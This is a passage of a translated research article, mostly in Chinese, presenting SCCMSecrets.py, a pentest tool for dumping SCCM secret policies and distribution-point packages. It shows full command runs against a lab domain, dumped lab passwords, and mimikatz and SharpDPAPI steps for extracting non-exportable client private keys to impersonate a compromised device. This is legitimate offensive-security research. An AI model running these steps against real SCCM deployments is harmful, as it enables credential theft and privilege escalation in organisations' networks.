18    <action>osdcapturesystemimage.exe</action>
19    <defaultVarList>
20      <variable name="OSDCaptureDestination" property="CaptureDestination">\\mecm.sccm.lab\OSCapture\image.wim</variable>
21      <variable name="OSDCaptureAccountPassword" property="CapturePassword">dragon</variable>
22      <variable name="OSDCaptureAccount" property="CaptureUsername">SCCMLAB\dave</variable>
23      <variable name="OSDImageCreator" property="ImageCreator"/>
24      <variable name="OSDImageDescription" property="ImageDescription"/>
25      <variable name="OSDImageVersion" property="ImageVersion"/>
26    </defaultVarList>
27  </step>
28</sequence>
29
30
31$ cat policies/\{P0100014\}/secretBlob_2-CollectionEnvUsername.txt
32Secret property name: CollectionEnvUsername
33
34
35SCCMLAB\eve
36
37
38$ cat policies/\{P0100014\}/secretBlob_1-CollectionEnvPassword.txt 
39Secret property name: CollectionEnvPassword
40
41
42iloveyou
43
44
45$ cat packages/P010000C/MyScript.ps1 
46Invoke-Command -ComputerName Client -ScriptBlock { Get-ChildItem } -Credential (New-Object System.Management.Automation.PSCredential ("SCCM.LAB\kimberly", (ConvertTo-SecureString "mylongandsecurep@ssw0rd" -AsPlainText -Force)))
47[...]

b. 方案 2:未经身份验证 – 已启用匿名分发点访问

当未提供任何凭据,但SCCMSecrets.py确定目标分发点已启用匿名访问时,工作流程与场景 1 非常相似。SCCMSecrets.py将建议尝试利用自动设备注册。不同之处在于,由于启用了匿名访问,因此无论如何都会从分发点获取资源 - 即使无法获得批准的 SCCM 设备。

这是一个SCCMSecrets.py执行示例,在此过程中,自动设备批准利用失败,但对分发点的匿名访问被滥用来获取策略资源。

1$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test8.sccm.lab
2[...]
3
4
5##### Context information #####
6
7
8- Anonymous Distribution Point access : [VULNERABLE] Distribution point allows anonymous access
9- Credentials provided                : [NONE] (no credentials provided)
10- Distribution point                  : http://mecm.sccm.lab
11- Management point                    : http://mecm.sccm.lab
12- Site code                           : P01
13- File extensions to retrieve         : ['.ps1', '.bat', '.xml', '.txt', '.pfx']
14- Package ID bruteforce range         : 4095
15- Output directory                    : ./loot/2024-08-13_14-08-13
16
17
18###############################
19
20
21
22
23No credentials were provided, but target distribution point does accept anonymous access. In these conditions, we can:
24> Try to register an SCCM client in order to exploit automatic device approval if it is configured on the SCCM site (this misconfiguration is not present by default). If successful, secret policies will be retrieved.
25> Download package files with specified extensions.
26
27
28Do you want to attempt registering a client (OPSec consideration: we will not be able to remove the client afterwards) ? If no, package file download will still be performed. [y/N]: y
29
30
31[*] Registering SCCM client with FQDN test8.sccm.lab
32[+] Client registration complete - GUID: FF719C98-ECC4-4EB7-87A4-3F69E76BF55A.
33[*] Sleeping for 180 seconds ...
34
35
36[*] Requesting device policies test8.sccm.lab
37[+] Policies list retrieved (2 total policies ; 0 secret policies)
38[-] Could not retrieve any secret policies. Automatic device approval may not be enabled on target site.
39
40
41[*] Starting package ID bruteforce (site code P01, range 4095).
42[*] Anonymous Distribution Point connection is enabled. Dumping without authentication.
43[*] Found package P0100001
44[*] Found package P0100002
45[*] Found package P0100003
46[*] Found package P0100004
47[*] Found package P0100005
48[*] Found package P0100006
49[*] Found package P0100007
50[*] Found package P010000C
51
52
53[*] Starting unauthenticated file download with target extensions ['.ps1', '.bat', '.xml', '.txt', '.pfx']
54[INFO] Package P0100001 - downloaded file Config_SettingsOnly.xml
55[INFO] Package P0100001 - downloaded file MigDocs.xml
56[INFO] Package P0100001 - downloaded file Config_AppsAndSettings.xml
57[INFO] Package P0100001 - downloaded file MigUser.xml
58[INFO] Package P0100001 - downloaded file Config_AppsOnly.xml
59[...]
60[INFO] Package P0100005 - downloaded file ep_defaultpolicy.xml
61[INFO] Package P010000C - downloaded file MyScript.ps1
62[*] All done. Bye !

c. 场景 3:已验证 - 域用户凭据

在第三种情况下,提供域用户凭据。在此配置中,执行的操作将类似于方案 2:用户可以选择利用自动设备批准来检索机密策略。但是,无论如何,资源都将从分发点转储(如果分发点上未启用未经身份验证的访问,则使用域用户凭据,否则匿名转储)。

在以下示例中,用户选择不尝试自动设备批准利用,而只是使用提供的域凭据检索分发点资源。

1$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test9.sccm.lab --username 'franck' --password 'rockthee' --verbose
2[...]
3
4
5[+] Retrieved site code P01
6
7
8##### Context information #####
9
10
11- Anonymous Distribution Point access : [NOT VULNERABLE] (distribution point does not allow anonymous access)
12- Credentials provided                : [DOMAIN USER] (domain user credentials, but no machine account)
13- Distribution point                  : http://mecm.sccm.lab
14- Management point                    : http://mecm.sccm.lab
15- Site code                           : P01
16- File extensions to retrieve         : ['.ps1', '.bat', '.xml', '.txt', '.pfx']
17- Package ID bruteforce range         : 4095
18- Output directory                    : ./loot/2024-08-13_14-35-47
19
20
21###############################
22
23
24
25
26Domain user account credentials were provided, but no machine account credentials. In these conditions, we can:
27> Try to register an SCCM client in order to exploit automatic device approval if it is configured on the SCCM site (this misconfiguration is not present by default). If successful, secret policies will be retrieved.
28> Download package files with specified extensions.
29
30
31Do you want to attempt registering a client (OPSec consideration: we will not be able to remove the client afterwards) ? If no, package file download will still be performed. [y/N]: n
32
33
34[*] Starting package ID bruteforce (site code P01, range 4095).
35[INFO] Checking credentials with URL http://mecm.sccm.lab/sms_dp_smspkg$/IAOfXIcs
36[INFO] Request returned status code 404
37[*] Found package P0100001
38[*] Found package P0100002
39[*] Found package P0100003
40[*] Found package P0100004
41[*] Found package P0100005
42[*] Found package P0100006
43[*] Found package P0100007
44[*] Found package P010000C
45
46
47[*] Starting file download with target extensions ['.ps1', '.bat', '.xml', '.txt', '.pfx']
48[INFO] Package P0100001 - downloaded file MigDocs.xml
49[INFO] Package P0100001 - downloaded file Config_AppsAndSettings.xml
50[INFO] Package P0100001 - downloaded file Config_SettingsOnly.xml
51[INFO] Package P0100001 - downloaded file MigUser.xml
52[INFO] Package P0100001 - downloaded file Config_AppsOnly.xml
53[...]
54[INFO] Package P0100005 - downloaded file ep_defaultpolicy.xml
55[INFO] Package P010000C - downloaded file MyScript.ps1
56[*] All done. Bye !

d. 场景 4:已验证 - 计算机帐户凭据

第四种也是最后一种情况发生在用户能够向 提供机器帐户凭据时SCCMSecrets.py,这可以说是最好的情况。实际上,将使用经过身份验证的设备注册端点注册新设备,从而可以可靠地获取已批准的SCCM 客户端并获取机密策略。之后,将从分发点获取外部资源 - 如果启用了对分发点的未经身份验证的访问,则以匿名方式获取,否则使用机器帐户凭据获取。

在最后一个示例中,提供的机器帐户用于查询经过身份验证的注册端点并检索机密策略。然后,同一机器帐户允许检索分发点上托管的资源。

1$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test10.sccm.lab --verbose --registration-sleep 300 --username 'azule$' --password 'Password123!'
2[...] 
3
4
5##### Context information #####
6
7
8- Anonymous Distribution Point access : [NOT VULNERABLE] (distribution point does not allow anonymous access)
9- Credentials provided                : [MACHINE ACCOUNT] (machine account credentials provided)
10- Distribution point                  : http://mecm.sccm.lab
11- Management point                    : http://mecm.sccm.lab
12- Site code                           : P01
13- File extensions to retrieve         : ['.ps1', '.bat', '.xml', '.txt', '.pfx']
14- Package ID bruteforce range         : 4095
15- Output directory                    : ./loot/2024-08-13_14-38-50
16
17
18###############################
19
20
21
22
23Machine account credentials provided. In these conditions, we can:
24> Register an SCCM client to retrieve secret policies.
25> Download package files with specified extensions.
26
27
28Do you want to attempt registering a client (OPSec consideration: we will not be able to remove the client afterwards) ? If no, package file download will still be performed. [y/N]: y
29[INFO] Generating Private key and client (self-signed) certificate
30
31
32[*] Registering SCCM client with FQDN test10.sccm.lab
33[*] Using authenticated registration, with username azule$ and password Password123!
34[+] Client registration complete - GUID: A69A5968-7159-4EEB-9601-B5127F618747.
35[*] Sleeping for 300 seconds ...
36
37
38[*] Requesting device policies test10.sccm.lab
39[+] Policies list retrieved (52 total policies ; 8 secret policies)
40[INFO] Dumping secret policy {3daadbd3-99d0-4223-ac34-13caad9c245e}
41[*] Found 2 obfuscated blob(s) in secret policy.
42[INFO] Deobfuscated blob n°1
43[INFO] Failed parsing XML on this blob - not XML content
44[INFO] Deobfuscated blob n°2
45[INFO] Failed parsing XML on this blob - not XML content
46[+] Secret policy {3daadbd3-99d0-4223-ac34-13caad9c245e} processed.
47[+] Retrieved NAA account credentials: 'sccm.lab\sccm-naa:123456789'
48[INFO] Dumping secret policy P0120002-P0100009-6F6BCC28
49[*] Found 1 obfuscated blob(s) in secret policy.
50[INFO] Deobfuscated blob n°1
51[*] Found 1 embedded powershell scripts in blob.
52[+] Secret policy P0120002-P0100009-6F6BCC28 processed.
53[INFO] Dumping secret policy P0120003-P010000A-6F6BCC28
54[*] Found 1 obfuscated blob(s) in secret policy.
55[INFO] Deobfuscated blob n°1
56[INFO] Found a package ID in secret policy: P010000C
57[+] Secret policy P0120003-P010000A-6F6BCC28 processed.
58[INFO] Dumping secret policy P012000A-P0100012-6F6BCC28
59[*] Found 1 obfuscated blob(s) in secret policy.
60[INFO] Deobfuscated blob n°1
61[+] Secret policy P012000A-P0100012-6F6BCC28 processed.
62[INFO] Dumping secret policy P012000B-P0100013-6F6BCC28
63[*] Found 1 obfuscated blob(s) in secret policy.
64[INFO] Deobfuscated blob n°1
65[+] Secret policy P012000B-P0100013-6F6BCC28 processed.
66[INFO] Dumping secret policy P012000C-P0100014-6F6BCC28
67[*] Found 1 obfuscated blob(s) in secret policy.
68[INFO] Deobfuscated blob n°1
69[+] Secret policy P012000C-P0100014-6F6BCC28 processed.
70[INFO] Dumping secret policy P012000D-P0100015-6F6BCC28
71[*] Found 1 obfuscated blob(s) in secret policy.
72[INFO] Deobfuscated blob n°1
73[+] Secret policy P012000D-P0100015-6F6BCC28 processed.
74[INFO] Dumping secret policy {P0100014}
75[INFO] Processing a CollectionSettings policy to extract collection variables
76[*] Found 2 obfuscated blob(s) in secret policy.
77[INFO] Deobfuscated blob n°1
78[INFO] Failed parsing XML on this blob - not XML content
79[INFO] Deobfuscated blob n°2
80[INFO] Failed parsing XML on this blob - not XML content
81[+] Secret policy {P0100014} processed.
82
83
84[*] Starting package ID bruteforce (site code P01, range 4095).
85[INFO] Checking credentials with URL http://mecm.sccm.lab/sms_dp_smspkg$/fZgYVFeC
86[INFO] Request returned status code 404
87[*] Found package P0100001
88[*] Found package P0100002
89[*] Found package P0100003
90[*] Found package P0100004
91[*] Found package P0100005
92[*] Found package P0100006
93[*] Found package P0100007
94[*] Found package P010000C
95
96
97[*] Starting file download with target extensions ['.ps1', '.bat', '.xml', '.txt', '.pfx']
98[INFO] Package P0100001 - downloaded file Config_AppsAndSettings.xml
99[INFO] Package P0100001 - downloaded file Config_SettingsOnly.xml
100[INFO] Package P0100001 - downloaded file MigDocs.xml
101[INFO] Package P0100001 - downloaded file Config_AppsOnly.xml
102[INFO] Package P0100001 - downloaded file MigUser.xml
103[...]
104[INFO] Package P0100005 - downloaded file ep_defaultpolicy.xml
105[INFO] Package P010000C - downloaded file MyScript.ps1
106[*] All done. Bye !

4. 通过冒充受感染的 SCCM 客户端来跨集合进行转移

上面提到的几种情况都会导致秘密策略被检索,无论是通过利用自动设备批准,还是通过提供有效的机器账户。

但是,如第一部分所述,以这种方式获取的机密策略仅限于自动应用于新注册的 SCCM 设备的集合。内部网络中的其他 SCCM 客户端可能是与包含有趣凭据的其他机密策略相关联的其他自定义集合的一部分(例如,为构成高风险部署的任务序列创建的自定义集合)。

因此,能够迭代转储 SCCM 策略将特别有趣。换句话说,随着入侵的进展,定期转储 SCCM 策略可能会很有效,方法是冒充不同性质的合法受感染SCCM 客户端,这些客户端可能是新集合的一部分,并与新的秘密策略相关联。允许这样做,本节将介绍如何进行。SCCMSecrets.py

a. 冒充合法 SCCM 客户端 - 先决条件

模拟 SCCM 客户端需要满足两个主要先决条件,在获得机器的本地管理访问权限后即可获得。

  • 客户端 GUID

第一个必需元素是客户端 GUID,用于唯一标识 SCCM 设备。它可以在 SCCM 客户端日志中轻松找到 - 例如,在C:/Windows/CCM/Logs/ClientIDManagerStartup.log专门记录与 SCCM 设备的唯一客户端标识符 (客户端 GUID) 的创建、管理和分配相关的事件的文件中。

  • 客户端私钥

最重要的先决条件是SCCM 客户端的私钥,该私钥用于签署发送到管理点的请求以检索策略(包括机密策略)。SMS 签名证书和 SMS 加密证书都可以在 Windows 证书存储区(位于机器证书的SMS 存储区)中找到。但是,与这些证书关联的私钥被标记为不可导出,这使我们无法使用证书存储 GUI 简单地提取它。

图 11:SCCM 证书私钥标记为不可导出。

仍有几种方法可以绕过这种保护,以便通过机器的本地管理访问权限恢复标记为不可导出的私钥。

使用 Mimikatz动态修补 CNG API

第一种方法是mimikatz采用的方法,即简单地修补处理导出功能的 Microsoft API,以便允许提取私钥。在我们的例子中,对于 SCCM 客户端证书的私钥,应该修补 CNG API。这可以通过以下mimikatz命令执行(请注意,必须具有SYSTEM权限才能完成此操作):

1mimikatz # privilege::debug
2Privilege '20' OK
3
4
5mimikatz # crypto::cng
6"KeyIso" service patched
7
8
9mimikatz # crypto::certificates /systemstore:local_machine /store:SMS /export
10 * System Store  : 'local_machine' (0x00020000)
11 * Store         : 'SMS'
12
13
14 0. SMS Encryption Certificate
15    Subject  : CN=CLIENT, CN=SMS
16    Issuer   : CN=CLIENT, CN=SMS
17    Serial   : fcfcd8f19bceb0489f1b0077a8182912
18    Algorithm: 1.2.840.113549.1.1.1 (RSA)
19    Validity : 6/29/2024 4:15:00 AM -> 12/26/2024 4:15:00 AM
20    Hash SHA1: 65fb296aab7a3739901c9c9b56d07c363141859e
21        Key Container  : ConfigMgrPrimaryKey
22        Provider       : Microsoft Software Key Storage Provider
23        Provider type  : cng (0)
24        Type           : CNG Key (0xffffffff)
25        |Provider name : Microsoft Software Key Storage Provider
26        |Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
27        Key Container  : ConfigMgrPrimaryKey
28        Unique name    : f67681ddee923363c159c11a44f135de_1e7df290-b21c-4236-91c3-b8d02d147ed8
29        Algorithm      : RSA
30        Key size       : 2048 (0x00000800)
31        Export policy  : 00000000 ( )
32        Exportable key : NO
33        LSA isolation  : NO
34        Public export  : OK – 'local_machine_SMS_0_SMS[...].der'
35        Private export : OK – ‘local_machine_SMS_0_SMS[...].pfx’
36[...]

但是,此方法需要修补 CNG API,这在 Mimikatz 中仍然是一个实验性功能。

>解密 DPAPI 机密

另一种可能更可靠、更隐蔽的检索私钥的方法是执行 DPAPI 解密。事实上,与 SCCM 设备证书关联的私钥存储在以下路径:C:\ProgramData\Microsoft\Crypto\Keys。它使用主密钥加密,主密钥本身使用DPAPI系统密钥加密,本地管理员可以访问。因此,可以解密此文件并提取存储在其中的私钥。

SharpDPAPI工具可以自动执行这些操作。但是,也可以采用更手动的方法进行离线解密。首先需要从目录下载加密的私钥文件。然后,可以从和C:\ProgramData\Microsoft\Crypto\Keys中获取机器主密钥,并使用 DPAPI 系统密钥解密,例如,可以从、和配置单元中计算出该密钥。最后,可以使用主密钥解密加密的私钥文件。有关 DPAPI 的更多详细信息,您可以参考我们关于 Windows 机密提取的文章。 C:\Windows\System32\Microsoft\Protect\S-1-5-18\User C:\Windows\System32\Microsoft\Protect\S-1-5-18 SYSTEM SAM SECURITY

1PS> .\SharpDPAPI.exe certificates /machine
2[...]
3
4
5Folder       : C:\ProgramData\Microsoft\Crypto\Keys
6
7
8  File               : f67681ddee923363c159c11a44f135de_1e7df290-b21c-4236-91c3-b8d02d147ed8
9
10
11    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
12    Master Key GUID  : {71ef9c3a-db03-4c01-86bc-783c0b424397}
13    Description      : Private Key
14    algCrypt         : CALG_AES_256 (keyLen 256)
15    algHash          : CALG_SHA_512 (32782)
16    Salt             : 48a457b53871296999737308d722f1aec1371276ac9a8422c3eb4beb7c1f1912
17    HMAC             : 52f65558d942a7aca127c047dcc89fdbd9c32be9cb93bff51cac4f3c3b8361f0
18    Unique Name      : ConfigMgrPrimaryKey
19
20
21    Thumbprint       : 65FB296AAB7A3739901C9C9B56D07C363141859E
22    Issuer           : CN=SMS, CN=CLIENT
23    Subject          : CN=SMS, CN=CLIENT
24    Valid Date       : 6/29/2024 4:15:00 AM
25    Expiry Date      : 12/26/2024 3:15:00 AM
26    Enhanced Key Usages:
27         (1.3.6.1.4.1.311.101.2)
28
29
30    [*] Private key file f67681ddee923363c159c11a44f135de_1e7df290-b21c-4236-91c3-b8d02d147ed8 was recovered:
31
32
33-----BEGIN RSA PRIVATE KEY-----
34MIIEpQIBAAKCAQEAwwhy3RPUlp6XXUw8ltP0PY2x+g3NlzOT0Qko+06Z7F+I5i/5
35[...]
36LRcvYdNp3ae5YHVUWLK4+QnIhe2uhBe75EeHO9U06qxpgtLant0dhlg=
37-----END RSA PRIVATE KEY-----
38-----BEGIN CERTIFICATE-----
39MIIC4DCCAcigAwIBAgIQEikYqHcAG59IsM6b8dj8/DANBgkqhkiG9w0BAQsFADAf
40[...]
41pHWoBzs4fwRgtDs4pJrc0b+5oLA=
42-----END CERTIFICATE-----
43[...]

使用 SCCM 客户端 GUID 和设备在注册时生成的自签名证书的私钥,可以满足所有先决条件来模拟目标设备并获取适用于它的秘密策略。

b.使用 SCCMSecrets.py 进行演示

可以使用 执行客户端设备模拟SCCMSecrets.py,更具体地说是使用--use-existing-device标志。此选项要求目标目录至少包含两个文件:

  • guid.txt:包含设备 GUID(例如2EA426AE-F65E-4204-8B0D-B27FD22F381A)。

  • key.pem:包含pem格式的设备私钥。

为了便于说明,我们假设在我们的测试环境中,有一个名为的设备在特定集合“非常重要的客户端”CLIENT中注册。

图 12:在非常重要的客户CLIENT集合中注册的设备。

此集合具有与之关联的高风险部署,对应于名为“域加入任务序列”的任务序列。

图 13:与“非常重要的客户端”集合相关的域加入任务序列。

假设我们已攻陷CLIENT设备并从机器中提取了 SCCM 客户端私钥及其 GUID。guid.txt和key.pem文件均在文件夹中创建CLIENT_DEVICE。SCCMSecrets.py现在可以使用指向此文件夹的标志启动--use-existing-device,以冒充受感染的CLIENT设备并获取其机密策略。

1$ ls -lah CLIENT_DEVICE/
2total 16K
3drwxr-xr-x 2 user user 4.0K Aug 12 00:15 .
4drwxr-xr-x 7 user user 4.0K Aug 13 12:13 ..
5-rw-r--r-- 1 user user   37 Aug 12 00:15 guid.txt
6-rw-r--r-- 1 user user 1.7K Aug 12 00:15 key.pem
7
8
9$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test8.sccm.lab --verbose --bruteforce-range 10 --use-existing-device CLIENT_DEVICE/
10[...]    
11[*] Querying MPKEYINFORMATION to extract site code from management point
12[+] Retrieved site code P01
13
14
15##### Context information #####
16- Anonymous Distribution Point access : [VULNERABLE] Distribution point allows anonymous access
17- Credentials provided                : [NONE] (no credentials provided)
18- Distribution point                  : http://mecm.sccm.lab
19- Management point                    : http://mecm.sccm.lab
20- Site code                           : P01
21- File extensions to retrieve         : ['.ps1', '.bat', '.xml', '.txt', '.pfx']
22- Package ID bruteforce range         : 10
23- Output directory                    : ./loot/2024-08-12_00-16-17
24###############################
25
26
27
28
29No credentials were provided, but target distribution point does accept anonymous access. In these conditions, we can:
30> Try to use the provided device to dump secret policies.
31> Download package files with specified extensions.
32
33
34We will be using the existing device with GUID 5E038820-B52D-4E04-B979-757946BBF21C. Proceed ? [y/N]: Y
35
36
37[*] Requesting device policies test8.sccm.lab
38[+] Policies list retrieved (53 total policies ; 9 secret policies)
39[INFO] Dumping secret policy {3daadbd3-99d0-4223-ac34-13caad9c245e}
40[*] Found 2 obfuscated blob(s) in secret policy.
41[+] Secret policy {3daadbd3-99d0-4223-ac34-13caad9c245e} processed.
42[+] Retrieved NAA account credentials: 'sccm.lab\sccm-naa:123456789'
43[INFO] Dumping secret policy P0120002-P0100009-6F6BCC28
44[*] Found 1 obfuscated blob(s) in secret policy.
45[INFO] Deobfuscated blob n°1
46[*] Found 1 embedded powershell scripts in blob.
47[+] Secret policy P0120002-P0100009-6F6BCC28 processed.
48[INFO] Dumping secret policy P0120003-P010000A-6F6BCC28
49[*] Found 1 obfuscated blob(s) in secret policy.
50[INFO] Deobfuscated blob n°1
51[INFO] Found a package ID in secret policy: P010000C
52[+] Secret policy P0120003-P010000A-6F6BCC28 processed.
53[INFO] Dumping secret policy P012000A-P0100012-6F6BCC28
54[*] Found 1 obfuscated blob(s) in secret policy.
55[INFO] Deobfuscated blob n°1
56[+] Secret policy P012000A-P0100012-6F6BCC28 processed.
57[INFO] Dumping secret policy P012000B-P0100013-6F6BCC28
58[*] Found 1 obfuscated blob(s) in secret policy.
59[INFO] Deobfuscated blob n°1
60[+] Secret policy P012000B-P0100013-6F6BCC28 processed.
61[INFO] Dumping secret policy P012000C-P0100014-6F6BCC28
62[*] Found 1 obfuscated blob(s) in secret policy.
63[+] Secret policy P012000C-P0100014-6F6BCC28 processed.
64[INFO] Dumping secret policy P012000D-P0100015-6F6BCC28
65[*] Found 1 obfuscated blob(s) in secret policy.
66[+] Secret policy P012000D-P0100015-6F6BCC28 processed.
67[INFO] Dumping secret policy {P0100014}
68[INFO] Processing a CollectionSettings policy to extract collection variables
69[*] Found 2 obfuscated blob(s) in secret policy.
70[+] Secret policy {P0100014} processed.
71[INFO] Dumping secret policy P012000E-P0100011-6F6BCC28
72[*] Found 1 obfuscated blob(s) in secret policy.
73[INFO] Deobfuscated blob n°1
74[+] Secret policy P012000E-P0100011-6F6BCC28 processed.
75
76
77[*] Starting package ID bruteforce (site code P01, range 10).
78[*] Anonymous Distribution Point connection is enabled. Dumping without authentication.
79[INFO] There is a known package that we missed during bruteforce -> P010000C. Adding it to queue
80[*] Found package P0100004
81[*] Found package P0100001
82[*] Found package P0100006
83[*] Found package P0100005
84[*] Found package P0100002
85[*] Found package P0100003
86[*] Found package P0100007
87[*] Found package P010000C
88
89
90[*] Starting unauthenticated file download with target extensions ['.ps1', '.bat', '.xml', '.txt', '.pfx']
91[INFO] Package P0100001 - downloaded file MigDocs.xml
92[INFO] Package P0100001 - downloaded file Config_AppsAndSettings.xml
93[INFO] Package P0100001 - downloaded file MigApp.xml
94[...]
95[INFO] Package P0100005 - downloaded file ep_defaultpolicy.xml
96[INFO] Package P010000C - downloaded file MyScript.ps1
97[*] All done. Bye !

与上一节中我们自己注册设备时执行的策略转储(产生了 8 条机密策略)相比,我们可以看到这里检索到了一条额外的机密策略。原来它是与额外的非常重要的客户端集合关联的域加入任务序列机密策略,其中包含 T0 帐户凭据。

1$ cat ./loot/2024-08-12_00-16-17/policies/P012000E-P0100011-6F6BCC28/secretBlob_1-TS_Sequence.txt 
2Secret property name: TS_Sequence
3<?xml version="1.0"?>
4<sequence version="3.10">
5  <step type="SMS_TaskSequence_JoinDomainWorkgroupAction" name="Join Domain or Workgroup" description="" runIn="FullOS" successCodeList="0" retryCount="0" runFromNet="false">
6    <action>osdjoin.exe /type:%OSDJoinType%</action>
7    <defaultVarList>
8      <variable name="OSDJoinDomainName" property="DomainName">sccm.lab</variable>
9      <variable name="OSDJoinDomainOUName" property="DomainOUName">LDAP://CN=Computers,DC=sccm,DC=lab</variable>
10      <variable name="OSDJoinPassword" property="DomainPassword">whiteRabbit</variable>
11      <variable name="OSDJoinAccount" property="DomainUsername">SCCMLAB\alice</variable>
12      <variable name="OSDJoinSkipReboot" property="SkipReboot">false</variable>
13      <variable name="OSDJoinType" property="Type">0</variable>
14    </defaultVarList>
15  </step>
16</sequence>

5. 结论

过去几年,已经发表了一些关于 SCCM 暴露的攻击面的出色研究。SCCMSecrets.py在此基础上,提供了与应用于注册设备的策略相关的机密的全面攻击工作流程。其目的是允许渗透测试人员在整个入侵过程中准确映射机密策略中包含的凭据,以便发现和报告与策略分发相关的错误配置,或由于 SCCM 策略中特权过高的帐户暴露而产生的特权提升向量。

正如 SCCM 工具经常出现的情况一样,SCCMSecrets.py在特定的 SCCM 环境和配置中仍可能存在错误 - 如果您碰巧发现了错误,我们将很乐意解决Github存储库上的任何问题。当然,也欢迎 PR。谢谢阅读!



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2